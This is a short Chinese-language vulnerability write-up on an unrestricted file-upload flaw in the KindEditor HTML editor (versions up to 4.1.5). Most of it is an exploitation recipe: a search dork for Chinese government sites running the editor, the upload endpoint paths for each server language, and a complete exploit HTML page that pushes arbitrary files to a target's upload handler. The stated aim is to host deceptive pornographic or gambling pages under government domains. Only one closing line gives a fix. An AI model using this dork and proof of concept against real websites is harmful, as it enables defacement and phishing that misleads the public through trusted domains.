漏洞等級(jí):高危
Kindeditor是一套開源的HTML可視化編輯器,主要用于讓用戶在網(wǎng)站上獲得所見即所得編輯效果,兼容IE、Firefox、Chrome、Safari、Opera等主流瀏覽器。
漏洞描述:
Kindeditor能夠上傳doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持
Java、.NET、PHP、ASP等程序。
漏洞利用:
通過搜索引擎找到目標(biāo),比如:搜索關(guān)鍵字 inurl:gov.cn/kindeditor
通過訪問http://www.xx.gov.cn/kindeditor/kindeditor.js,查看kindeditor版本是否含有漏洞(<=4.1.5)
獲得網(wǎng)站使用的開發(fā)語(yǔ)言,并確定kindeditor上傳文件地址,各種語(yǔ)言上傳地址如下:
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
創(chuàng)建exploit.html頁(yè)面,編輯內(nèi)容如下:
<html> <head> <title>kindeditor exploit</title> <script src="http://www.xx.gov.cn/kindeditor/kindeditor.js"></script> <script> KindEditor.ready(function(K) { var uploadbutton = K.uploadbutton({ button : K('#uploadButton')[0], fieldName : 'imgFile', url : 'http://www.xx.gov.cn/kindeditor/asp.net/upload_json.ashx?dir=file', afterUpload : function(data) { if (data.error === 0) { var url = K.formatUrl(data.url, 'absolute'); K('#url').val(url); } }, }); uploadbutton.fileBox.change(function(e) { uploadbutton.submit(); }); }); </script> </head> <body> <div class="upload"> <input type="button" id="uploadButton" value="Upload" /> </div> </body> </html>
瀏覽器訪問頁(yè)面效果如下:
選擇文件test.txt文件(文件內(nèi)容:test…2019/03/04),網(wǎng)站審核元素,查看返回結(jié)果,如圖:
訪問網(wǎng)址結(jié)果如下:
漏洞影響:
由于該漏洞無法上傳php,asp,java等類型文件,所以無法getshell,但是可以上傳包含色情、賭博等類欺騙性html網(wǎng)頁(yè),如果上傳到政府類網(wǎng)站,不法分子會(huì)利用政府域名的權(quán)威性達(dá)到欺騙普通用戶的目的,所以危害性很大。
限制上傳文件類型